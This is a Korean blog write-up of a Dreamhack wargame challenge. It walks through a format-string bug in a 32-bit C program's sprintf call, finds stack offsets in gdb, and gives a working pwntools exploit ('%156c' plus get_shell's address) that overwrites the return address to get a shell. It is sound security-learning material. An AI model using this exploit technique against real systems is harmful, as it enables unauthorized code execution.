[Dreamhack] Format String Bug: 3 - basic_exploitation_003

securitykss·2023년 1월 19일
0

Pwnable 강의(dreamhack)

목록 보기
28/58

1. Description

2. Check

2.1 C code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
	puts("TIME OUT");
    exit(-1);
}

void initialize() {
	setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
	system("/bin/sh");
}

int main(int argc, char *argv[]) {
	char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO: %s\n", stack_buf);
    
    return 0;
}

code description

alarm_handler()

알람 역할 하는 함수

initialize()

입출력 버퍼 비우고, 알람 30초 설정

get_shell()

shell을 실행하는 함수

main()

heap_buf 0x80만큼 string 선언(heap 영역, 동적 할당)

stack_buf[0x90] string 선언(stack 영역)

heap_buf에 0x80만큼 입력

sprintf로 heap_buf를 stack_buf에 복사,

하지만, 서식지정자(%s 등)이 없으므로 FSB에 취약

stack_buf 출력

2.2 file

32bit elf

2.3 checksec

canary가 없으므로 bof에 취약

3. Design

FSB와 BOF를 활용해서 return address를 get_shell로 설정한다.

4. Exploit

4.1 인자 순서

입력값과 %p로 stack_buf가 몇번째 인자인지 알아보자.

첫번째 인자가 stack_buf임을 알 수 있다.

4.2 gdb 분석

main+56

push DWORD PTR [ebp-0x8]

이 부분에서 [ebp-0x8]부분에 heap_buf의 주소를 참조하고 있음을 알 수 있다.

main+72

lea eax, [ebp-0x98]

이 부분에서 [ebp-0x98]이 stack_buf임을 알 수 있다.

4.3 get_shell 주소

4.4 정리

첫 번째 인자가 stack_buf

그리고 ebp에서 0x98만큼 떨어져 있다.(10진수로 152)

canary가 없으므로 bof를 일으켜 return address를 get_shell로 덮을 수 있다.

"%156c" (stack_buf(152bytes) + sfp(4bytes))로 return address 영역까지 닿고

그 후, p32(get_shell)을 해서 덮으면 된다.

4.5 exploit code

from pwn import *

p = process("./basic_exploitation_003")
#p = remote("서버", 포트")

get_shell = 0x8048669
payload = b"%156c" + p32(get_shell)

p.sendline(payload)

p.interactive()

4.6 exploit result

성공적으로 shell을 따낸 모습이다.

마치며

이렇게 FSB와 BOF를 활용해서 문제를 풀어보았다.

Reference

https://dreamhack.io/wargame/challenges/5/ (문제 출처)

profile
보안 공부를 하는 학생입니다.

0개의 댓글